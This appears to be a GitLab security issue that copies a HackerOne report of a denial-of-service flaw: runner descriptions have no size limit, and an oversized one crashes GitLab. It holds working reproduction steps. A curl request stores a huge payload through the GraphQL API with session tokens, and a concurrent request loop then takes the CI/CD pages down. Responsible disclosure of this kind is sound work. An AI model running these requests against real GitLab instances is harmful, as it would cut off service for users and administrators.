A DOS vulnerability in the 'description' field of the runner

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2426166 by ac7n0w on 2024-03-21, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

I have discovered a vulnerability that can cause a crash in the GitLab backend. This issue arises from the lack of size restriction on the description field of the GitLab runner. I was able to store 90MB of data in the description field (while the max body size for GitLab's Nginx is 250MB). When a user accesses /user1/repo_1/-/settings/ci_cd, it results in a GitLab crash. This vulnerability is similar to the Denial of Service issue reported at GitLab Issue #392433.

My GitLab instance is version 16.9.2, running on a Debian server with 6 cores and 8GB of RAM. If your configuration differs, you may need to adjust the number of iterations in the attack script and the size of the data in payload-bad.txt.

Steps to reproduce
  1. Install GitLab on server 192.168.1.100, log in as user1, and create a project repo_1.

  2. Open the browser's developer tools, enter a project as user1, and pin any menu item.
    pins-2.jpg

  3. In the developer tools' Network tab, locate gitlab_session and X-Csrf-Token, and note them down for later use.
    token-3.png

  4. Replace gitlab_session and X-Csrf-Token in the shell script below, also make sure to replace the host:

    curl 'http://192.168.1.100/api/graphql' \  
      -H 'Cookie: _gitlab_session=2fa85f049d7f504e221ce79f20f1d0aa' \  
      -H 'content-type: application/json' \  
      -H 'x-csrf-token: eKNouJpcWukNcviFhk0UqOQNkmUQBk5qfwoFlOTUx5C-c9XWPub-LfxbqhAXUG7iMzOyFd8ovOsz8lMZkiEG5w' \  
      -H 'x-gitlab-feature-category: runner' \  
      -d [@]payload-bad.txt \  
      --compressed \  
      --insecure  
  5. Download the attached payload-bad.txt and execute the above shell script from the directory containing payload-bad.txt. I ran it 3 times to create 3 runners.

  6. Replace gitlab_session in the shell script below, and again, pay attention to the host:

    for i in {1..10}; do  
      curl -i -s -k -X 'GET' \  
      -H 'Host: 192.168.1.100' \  
      -b '_gitlab_session=2fa85f049d7f504e221ce79f20f1d0aa; event_filter=all' \  
      'http://192.168.1.100/user1/repo_1/-/settings/ci_cd' \  
      -o /dev/null &  
    done  
    wait  
  7. Execute the concurrent attack script above and, after the script completes, check the GitLab backend to find that the service has crashed.
    status-7.png

  8. Open repo_1, go to [Settings] -> [CI/CD], and upon entering the CI/CD settings page, you will find the page is unresponsive. This vulnerability also affects other users' ability to use the CI/CD settings normally.

  9. Open the Admin Area page, go to [CI/CD] -> [Runners], and you will find the page is unresponsive. This vulnerability also affects admin users' ability to manage runners normally.

Root Cause Analysis

Upon analyzing the issue, I found that the description field in the ci_runners table is of type character varying and users can freely set the value of description, which is also rendered on the browser page without any maximum length restriction. I believe it should have a maximum length limit of 1MB, similar to other description fields. Below is an SQL example:

CREATE TABLE ci_runners (  
    ...  
    description character varying(1048576),  
    ...  
);  

Impact

  • Causes server crash, leading to service unavailability.
  • Results in users being unable to properly utilize features related to CI/CD pages.
  • This vulnerability can be exploited to induce other users to visit specific pages, thereby initiating a Distributed Denial of Service (DDoS) attack.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • pins-2.jpg
  • token-3.png
  • payload-bad.txt
  • status-7.png

How To Reproduce

Please add reproducibility information to this section:

Assignee Loading
Time tracking Loading